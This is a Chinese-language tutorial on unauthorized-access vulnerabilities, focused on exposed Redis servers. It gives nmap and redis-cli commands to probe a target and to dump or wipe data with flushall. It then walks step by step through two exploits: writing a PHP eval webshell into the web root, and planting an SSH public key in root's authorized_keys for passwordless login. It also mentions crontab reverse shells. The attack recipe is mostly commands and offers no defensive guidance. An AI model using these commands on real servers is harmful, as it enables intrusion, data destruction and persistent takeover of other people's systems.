什么是未授权访问?
管理员需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接从网址访问(例如直接访问管理界面)从而导致重要权限可被操作、数据库或网站目录等敏感信息泄露。
常见的未授权漏洞
Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
Memcached 未授权访问漏洞CVE-2013-7239
JBOSS 未授权访问漏洞
Docker 未授权访问漏洞
Redis未授权访问
Redis 是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库。在默认情况中,redis的默认端口号是6379。通常会绑定在0.0.0.0:6379,在这种情况中,redis将会彻底的暴露在公网上,若不开启认证的情况下,redis会允许任意用户对数据进行增删改查
注:影响redis数据库
检测&条件
条件
1,redis暴露在公网上,默认端口
2,redis未开启认证
3,redis以root用户运行
检测
#扫描目标redis info
nmap -A -p 6379 –script redis-info 目标ip
#Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞
./redis-cli -h 目标ip
若成功链接时,就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。
利用以下命令进行 操作
keys * #查看所有key
get key_name #查看key的值,例如get password
flushall #删除所有数据
del key #删除键为key的数据
利用redis写webshell
#Web目录写WebShell
./redis-cli -h ip #连接redis数据库
config set dir /var/www/html #连接后设置目录config set dbfilename redis88.php #设置要写入的文件名
set shell "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n" #设置要写入的内容
save #保存#保存后用菜刀连接此木马得到 webshell
也可以结合ssh进行免密码登入
#先在本地建个 ssh 的密钥
ssh-keygen -t rsa #在本地中生成一个ssh-key文件
将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里
#将公钥的内容写到一个文本中命令如下
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
#将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下
cat key.txt | ./redis-cli -h <hostname> -x set test
连接目标主机的Redis,设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
./redis-cli -h 目的ip
config set dir /root/.ssh
config set dbfilename authorized_keys
keys *
get test #查看数据是否存在
#将(缓存里的数据key.txt)保存在服务器硬盘上
save
#SSH 连接目标主机,无需密码即可登录
ssh 目的ip
#cat /root/.ssh/authorized_keys 可以查看文件内容,是写入的公钥
END